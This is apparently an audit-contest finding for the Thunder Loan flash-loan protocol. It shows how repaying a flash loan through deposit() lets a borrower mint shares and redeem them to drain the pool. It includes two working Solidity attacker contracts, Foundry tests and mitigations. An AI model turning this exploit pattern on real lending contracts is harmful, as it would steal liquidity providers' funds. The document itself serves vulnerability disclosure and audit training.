Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

Borrower can repay flashloan through deposit() and later redeem the deposited shares

Root + Impact

Description

A flashloan borrower should return amount + fee without receiving a claim on the pool liquidity. The repayment should benefit existing LPs.

flashloan() only checks the final underlying balance of the AssetToken vault. It does not enforce that repayment happened through repay(). A malicious receiver can call deposit(token, amount + fee) during the callback. This satisfies the balance check, but also mints the attacker AssetToken shares. After the flashloan ends, the attacker redeems those shares and withdraws the funds again, draining the pool.

s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...);
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) { // @> accepts deposit as repayment
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;

Risk

Likelihood:

  • Any borrower can deploy a receiver contract that calls deposit() during executeOperation.

  • deposit() is not blocked while s_currentlyFlashLoaning[token] is true.

Impact:

  • Attacker can take a flashloan, pass the repayment check, then redeem the minted shares.

  • LP liquidity can be drained by approximately the borrowed amount.

Proof of Concept

contract DepositInsteadOfRepayReceiver {
ThunderLoanUpgraded thunderLoan;
constructor(address _thunderLoan) {
thunderLoan = ThunderLoanUpgraded(_thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external returns (bool) {
IERC20(token).approve(address(thunderLoan), amount + fee);
// @> Passes flashloan repayment check, but mints shares to attacker.
thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
function attack(IERC20 token, uint256 amount) external {
thunderLoan.flashloan(address(this), token, amount, "");
AssetToken assetToken = thunderLoan.getAssetFromToken(token);
// @> Redeem the shares received from the fake repayment.
thunderLoan.redeem(token, assetToken.balanceOf(address(this)));
}
}

Test flow:

function testBorrowerCanDepositInsteadOfRepayAndDrainPool() public {
thunderLoan.setAllowedToken(tokenA, true);
address lp = address(1);
uint256 depositAmount = 1000e18;
uint256 borrowAmount = 100e18;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, borrowAmount);
tokenA.mint(lp, depositAmount);
vm.startPrank(lp);
tokenA.approve(address(thunderLoan), depositAmount);
thunderLoan.deposit(tokenA, depositAmount);
vm.stopPrank();
DepositInsteadOfRepayReceiver attacker = new DepositInsteadOfRepayReceiver(address(thunderLoan));
tokenA.mint(address(attacker), fee);
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 poolBefore = tokenA.balanceOf(address(assetToken));
attacker.attack(tokenA, borrowAmount);
uint256 poolAfter = tokenA.balanceOf(address(assetToken));
assertLt(poolAfter, poolBefore);
}

Recommended Mitigation

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ require(!s_currentlyFlashLoaning[token], "cannot deposit during flashloan");
...
}

Better mitigation: track repayment amount through repay() and require amount + fee to be repaid through that path, not merely by checking final vault balance.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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